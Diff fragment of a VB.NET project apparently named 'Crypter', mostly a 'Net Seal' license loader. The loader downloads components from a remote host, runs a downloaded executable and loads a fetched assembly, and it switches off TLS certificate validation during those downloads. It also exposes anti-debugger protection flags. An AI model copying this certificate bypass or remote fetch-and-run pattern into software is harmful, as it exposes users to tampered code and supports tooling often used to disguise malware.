Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
|
||||
End Class
|
||||
|
||||
End Class
|
||||
#End Region
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,771 @@
|
||||
Imports System
|
||||
Imports System.Net
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Imports System.IO.Compression
|
||||
Imports System.Diagnostics
|
||||
Imports System.Reflection
|
||||
Imports System.Windows.Forms
|
||||
Imports System.ComponentModel
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Collections.Generic
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Net.Security
|
||||
Imports System.Security
|
||||
Imports System.Security.Cryptography.X509Certificates
|
||||
|
||||
''' <summary>
|
||||
''' License Loader, Version: 2.0.0.3, Changed: 12/23/2012
|
||||
''' </summary>
|
||||
|
||||
Friend NotInheritable Class License
|
||||
|
||||
Private Version As New Version("2.0.0.3")
|
||||
|
||||
#Region " ReadOnly Properties "
|
||||
|
||||
ReadOnly Property Username As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private _ProductVersion As Version
|
||||
ReadOnly Property ProductVersion As Version
|
||||
Get
|
||||
If _ProductVersion Is Nothing Then
|
||||
_ProductVersion = New Version(Application.ProductVersion)
|
||||
End If
|
||||
|
||||
Return _ProductVersion
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExecutablePath As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GlobalMessage As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExpirationDate As Date
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Date)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property TimeRemaining As TimeSpan
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, TimeSpan)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property LicenseType As LicenseType
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, LicenseType)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Points As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UnlimitedTime As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UpdateAvailable As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersCount As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersOnline As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GUID As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PublicToken As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PrivateKey As Byte()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Client As WebClient
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, WebClient)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property News As NewsPost()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing)
|
||||
Dim Values As Object() = DirectCast(Data, Object())
|
||||
|
||||
Dim Section As Integer
|
||||
Dim T As New List(Of NewsPost)
|
||||
|
||||
For I As Integer = 0 To Values.Length - 1 Step 3
|
||||
Section = I * 3
|
||||
T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2)))
|
||||
Next
|
||||
|
||||
Return T.ToArray()
|
||||
End Get
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialize Properties "
|
||||
|
||||
Private _ID As String
|
||||
Property ID() As String
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_ID = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Catch As Boolean
|
||||
Property [Catch]() As Boolean
|
||||
Get
|
||||
Return _Catch
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Catch = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _DisableUpdates As Boolean
|
||||
Property DisableUpdates() As Boolean
|
||||
Get
|
||||
Return _DisableUpdates
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_DisableUpdates = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RunHook As GenericDelegate
|
||||
Property RunHook() As GenericDelegate
|
||||
Get
|
||||
Return _RunHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RunHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _BanHook As GenericDelegate
|
||||
Property BanHook() As GenericDelegate
|
||||
Get
|
||||
Return _BanHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_BanHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RenewHook As GenericDelegate
|
||||
Property RenewHook() As GenericDelegate
|
||||
Get
|
||||
Return _RenewHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RenewHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Protection As RuntimeProtection
|
||||
Property Protection() As RuntimeProtection
|
||||
Get
|
||||
Return _Protection
|
||||
End Get
|
||||
Set(ByVal value As RuntimeProtection)
|
||||
_Protection = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _ValidateCore As Boolean
|
||||
Property ValidateCore As Boolean
|
||||
Get
|
||||
Return _ValidateCore
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_ValidateCore = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Public Methods "
|
||||
|
||||
Sub Initialize(ByVal programID As String)
|
||||
ID = programID
|
||||
Initialize()
|
||||
End Sub
|
||||
|
||||
Sub Initialize()
|
||||
If LicenseGlobal.LicenseInitialize Then Return
|
||||
LicenseGlobal.LicenseInitialize = True
|
||||
|
||||
If String.IsNullOrEmpty(ID) Then
|
||||
ErrorKill("Unable to initialize due to missing Net Seal ID.")
|
||||
Return
|
||||
End If
|
||||
|
||||
ServicePointManager.Expect100Continue = False
|
||||
ServicePointManager.DefaultConnectionLimit = 5
|
||||
|
||||
Try
|
||||
WC = New CookieClient()
|
||||
|
||||
Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)
|
||||
LocationPath = Path.Combine(Common, "Nimoru")
|
||||
|
||||
LicenseLocation = Path.Combine(LocationPath, "LicenseSE")
|
||||
GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll")
|
||||
GizmoLocation = Path.Combine(LocationPath, "GizmoSE")
|
||||
|
||||
DownloadChecksums()
|
||||
DownloadComponents()
|
||||
ValidateSignature()
|
||||
|
||||
Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID})
|
||||
Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]})
|
||||
Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates})
|
||||
Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook})
|
||||
Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook})
|
||||
Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook})
|
||||
Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)})
|
||||
Catch ex As Exception
|
||||
Dim T As New StringBuilder
|
||||
T.AppendLine(Date.UtcNow.ToString)
|
||||
T.AppendLine()
|
||||
T.AppendLine(ex.Message)
|
||||
T.AppendLine(ex.StackTrace)
|
||||
File.WriteAllText("loader.log", T.ToString)
|
||||
|
||||
ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.")
|
||||
Return
|
||||
End Try
|
||||
|
||||
Try
|
||||
Instance.GetMethod("Run").Invoke(Nothing, New Object() {Version, ProductVersion})
|
||||
Catch
|
||||
ErrorKill("Unable to initialize license file.")
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Sub ShowAccount()
|
||||
Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Function Encrypt(ByVal data As String) As String
|
||||
InitializeRm()
|
||||
|
||||
Dim R As Byte() = Encoding.UTF8.GetBytes(data)
|
||||
Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length)
|
||||
Dim U(O.Length + 3) As Byte
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4)
|
||||
Buffer.BlockCopy(O, 0, U, 4, O.Length)
|
||||
|
||||
Return Convert.ToBase64String(U)
|
||||
End Function
|
||||
|
||||
Function Decrypt(ByVal data As Byte()) As Byte()
|
||||
InitializeRm()
|
||||
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Buffer.BlockCopy(O, 0, U, 0, Size)
|
||||
|
||||
Return U
|
||||
End Function
|
||||
|
||||
'NOTE: If String.IsNullOrEmpty() get new posts from License.News.
|
||||
Function GetPostMessage(ByVal postID As Integer) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function GetVariable(ByVal name As String) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function SpendPoints(ByVal count As Integer) As Boolean
|
||||
Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count})
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Function
|
||||
|
||||
Sub InstallUpdates()
|
||||
Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Sub BanCurrentUser(ByVal reason As String)
|
||||
Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason})
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Declarations "
|
||||
|
||||
Private Instance As Type
|
||||
Private WC As CookieClient
|
||||
|
||||
Private LocationPath As String
|
||||
Private LicenseLocation As String
|
||||
Private GizmoDllLocation As String
|
||||
Private GizmoLocation As String
|
||||
|
||||
Private Checksums As String()
|
||||
|
||||
Private Const Domain As String = "http://seal.elitevs.net/Base/"
|
||||
Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk"
|
||||
|
||||
Private ReadOnly Property UID As String
|
||||
Get
|
||||
Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "")
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Encryptor As ICryptoTransform
|
||||
Private Decryptor As ICryptoTransform
|
||||
Private RmInitialize As Boolean
|
||||
|
||||
<EditorBrowsable(EditorBrowsableState.Advanced)> _
|
||||
Delegate Sub GenericDelegate()
|
||||
|
||||
<DllImport("kernel32.dll", EntryPoint:="ExitProcess")> _
|
||||
Private Shared Sub ExitProcess(ByVal code As UInteger)
|
||||
End Sub
|
||||
|
||||
<DllImport("mscoree.dll", EntryPoint:="StrongNameSignatureVerificationEx", CharSet:=CharSet.Unicode)> _
|
||||
Private Shared Function StrongNameSignatureVerificationEx( _
|
||||
ByVal fileName As String, _
|
||||
ByVal force As Boolean, _
|
||||
ByRef genuine As Boolean) As Boolean
|
||||
End Function
|
||||
|
||||
<DllImport("mscoree.dll", PreserveSig:=False, EntryPoint:="CLRCreateInstance")> _
|
||||
Private Shared Function CreateInstance( _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal cid As Guid, _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Function
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Methods "
|
||||
|
||||
Private Sub DownloadChecksums()
|
||||
Try
|
||||
Checksums = WC.DownloadString(Domain & "checksumSE.php" & UID).Split(Char.MinValue)
|
||||
Catch ex As Exception
|
||||
Threading.Thread.Sleep(500)
|
||||
Checksums = WC.DownloadString(Domain & "checksumSE.php" & UID).Split(Char.MinValue)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadComponents()
|
||||
Dim Hash As String
|
||||
If Not Directory.Exists(LocationPath) Then
|
||||
Directory.CreateDirectory(LocationPath)
|
||||
End If
|
||||
|
||||
OverrideSSL() '--BEGIN OVERRIDE--
|
||||
|
||||
If Not File.Exists(GizmoDllLocation) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoDllLocation)
|
||||
If Not Hash = Checksums(1) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
If Not File.Exists(GizmoLocation) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoLocation)
|
||||
If Not Hash = Checksums(2) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
If Not File.Exists(LicenseLocation) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
|
||||
Hash = MD5File(LicenseLocation)
|
||||
If Not Hash = Checksums(3) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
|
||||
RestoreSSL() '--END OVERRIDE--
|
||||
End Sub
|
||||
|
||||
Private Sub ValidateSignature()
|
||||
If ValidateCore AndAlso Not CheckCore() Then
|
||||
Throw New InvalidDataException("Core framework files are not trusted.")
|
||||
Return
|
||||
End If
|
||||
|
||||
Dim M As FileStream = File.OpenRead(LicenseLocation)
|
||||
Dim R As New BinaryReader(M)
|
||||
|
||||
Dim FullData As Byte() = R.ReadBytes(CInt(M.Length))
|
||||
M.Position = 2
|
||||
|
||||
Dim Sign As Byte() = R.ReadBytes(40)
|
||||
Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2))
|
||||
R.Close()
|
||||
|
||||
Dim DSA As New DSACryptoServiceProvider
|
||||
DSA.ImportCspBlob(Convert.FromBase64String(PublicKey))
|
||||
|
||||
If DSA.VerifyData(Data, Sign) Then
|
||||
Instance = Assembly.Load(FullData).GetType("Share")
|
||||
Else
|
||||
Throw New InvalidDataException("Unable to validate signature.")
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub DownloadGizmoDll()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co")
|
||||
Data = Decompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(1) = Hash Then
|
||||
Fail(GizmoDllLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoDllLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadGizmo()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co")
|
||||
Data = GizmoDecompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(2) = Hash Then
|
||||
Fail(GizmoLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadLicense()
|
||||
Dim PI As New ProcessStartInfo
|
||||
PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3))
|
||||
PI.FileName = GizmoLocation
|
||||
PI.UseShellExecute = False
|
||||
|
||||
Dim P As Process = Process.Start(PI)
|
||||
If Not P.WaitForExit(20000) Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
|
||||
If Not P.ExitCode = 7788 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Fail(ByVal path As String)
|
||||
File.Delete(path)
|
||||
ErrorKill("Failed to initialize all the required components.")
|
||||
End Sub
|
||||
|
||||
Private Sub ErrorKill(ByVal message As String)
|
||||
MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Environment.Exit(0)
|
||||
ExitProcess(0)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Function Decompress(ByVal data As Byte()) As Byte()
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Dim M As New MemoryStream(data, 4, data.Length - 4)
|
||||
|
||||
Dim D As New DeflateStream(M, CompressionMode.Decompress, False)
|
||||
D.Read(U, 0, U.Length)
|
||||
|
||||
D.Close()
|
||||
M.Close()
|
||||
Return U
|
||||
End Function
|
||||
|
||||
Private Function GizmoDecompress(ByVal data As Byte()) As Byte()
|
||||
Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation)
|
||||
Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress")
|
||||
Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte())
|
||||
End Function
|
||||
|
||||
|
||||
Private Function MD5(ByVal data As Byte()) As String
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
Return HashToString(H.ComputeHash(data))
|
||||
End Function
|
||||
|
||||
Private Function MD5File(ByVal path As String) As String
|
||||
Dim F As New FileStream(path, FileMode.Open, FileAccess.Read)
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
|
||||
Dim Hash As String = HashToString(H.ComputeHash(F))
|
||||
|
||||
F.Close()
|
||||
Return Hash
|
||||
End Function
|
||||
|
||||
Private Function HashToString(ByVal data As Byte()) As String
|
||||
Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty)
|
||||
End Function
|
||||
|
||||
Private Sub InitializeRm()
|
||||
If RmInitialize Then Return
|
||||
RmInitialize = True
|
||||
|
||||
Dim Rm As New RijndaelManaged
|
||||
Rm.Padding = PaddingMode.Zeros
|
||||
Rm.Mode = CipherMode.CBC
|
||||
Rm.Key = PrivateKey
|
||||
Rm.IV = PrivateKey
|
||||
|
||||
Encryptor = Rm.CreateEncryptor()
|
||||
Decryptor = Rm.CreateDecryptor()
|
||||
End Sub
|
||||
|
||||
Private SN As IStrongName
|
||||
|
||||
Private Function CheckCore() As Boolean
|
||||
Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory()
|
||||
Dim Build As String = RuntimeEnvironment.GetSystemVersion()
|
||||
Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4
|
||||
|
||||
If HostCLR Then
|
||||
Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE")
|
||||
Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92")
|
||||
|
||||
Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta)
|
||||
Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime)
|
||||
SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName)
|
||||
End If
|
||||
|
||||
Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll")
|
||||
Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll")
|
||||
|
||||
Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137}
|
||||
If Not IsTrusted(File1, Token, HostCLR) Then Return False
|
||||
If Not IsTrusted(File2, Token, HostCLR) Then Return False
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean
|
||||
Dim Genuine As Boolean
|
||||
|
||||
If hostCLR Then
|
||||
If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False
|
||||
Else
|
||||
If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False
|
||||
End If
|
||||
|
||||
Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken()
|
||||
If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False
|
||||
|
||||
For I As Integer = 0 To 7
|
||||
If Not PublicToken(I) = token(I) Then Return False
|
||||
Next
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private SSLCallback As RemoteCertificateValidationCallback
|
||||
Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Sub OverrideSSL()
|
||||
SSLCallback = ServicePointManager.ServerCertificateValidationCallback
|
||||
ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL)
|
||||
End Sub
|
||||
|
||||
Private Sub RestoreSSL()
|
||||
ServicePointManager.ServerCertificateValidationCallback = SSLCallback
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("D332DB9E-B9B3-4125-8207-A14884F53216")> _
|
||||
Private Interface IMeta
|
||||
Function GetRuntime(ByVal version As String, <MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("BD39D1D2-BA2F-486A-89B0-B4B0CB466891")> _
|
||||
Private Interface IRuntime
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Function GetInterface(<MarshalAs(UnmanagedType.LPStruct)> cid As Guid, <MarshalAs(UnmanagedType.LPStruct)> iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("9FD93CCF-3280-4391-B3A9-96E1CDE77C8D")> _
|
||||
Private Interface IStrongName
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Sub M7()
|
||||
Sub M8()
|
||||
Sub M9()
|
||||
Sub M10()
|
||||
Sub M11()
|
||||
Sub M12()
|
||||
Sub M13()
|
||||
Sub M14()
|
||||
Sub M15()
|
||||
Sub M16()
|
||||
Sub M17()
|
||||
Sub M18()
|
||||
Sub M19()
|
||||
Sub M20()
|
||||
Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer
|
||||
End Interface
|
||||
|
||||
End Class
|
||||
|
||||
Friend Module LicenseGlobal
|
||||
|
||||
Friend Seal As New License
|
||||
Friend LicenseInitialize As Boolean
|
||||
|
||||
End Module
|
||||
|
||||
Friend Enum LicenseType As Byte
|
||||
Free = 0
|
||||
Bronze = 1
|
||||
Silver = 2
|
||||
Gold = 3
|
||||
Platinum = 4
|
||||
Diamond = 5
|
||||
End Enum
|
||||
|
||||
<Flags()> _
|
||||
Friend Enum RuntimeProtection As Byte
|
||||
None = 0
|
||||
Debuggers = 1
|
||||
DebuggersEx = 2
|
||||
Timing = 4
|
||||
Parent = 8
|
||||
FullScan = 15
|
||||
End Enum
|
||||
|
||||
Friend Structure NewsPost
|
||||
Private ReadOnly _ID As Integer
|
||||
ReadOnly Property ID() As Integer
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Name As String
|
||||
ReadOnly Property Name() As String
|
||||
Get
|
||||
Return _Name
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Time As Date
|
||||
ReadOnly Property Time() As Date
|
||||
Get
|
||||
Return _Time
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object)
|
||||
_ID = DirectCast(id, Integer)
|
||||
_Name = DirectCast(name, String)
|
||||
_Time = DirectCast(time, Date)
|
||||
End Sub
|
||||
End Structure
|
||||
|
||||
Friend NotInheritable Class CookieClient
|
||||
Inherits WebClient
|
||||
|
||||
Private Request As HttpWebRequest
|
||||
Public Cookies As New CookieContainer
|
||||
|
||||
Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest
|
||||
Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest)
|
||||
Request.Timeout = 20000
|
||||
Request.ReadWriteTimeout = 20000
|
||||
Request.KeepAlive = False
|
||||
Request.CookieContainer = Cookies
|
||||
Request.Proxy = Nothing
|
||||
Return Request
|
||||
End Function
|
||||
|
||||
Sub ClearCookies()
|
||||
Cookies = New CookieContainer
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.17929
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.Crypter.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
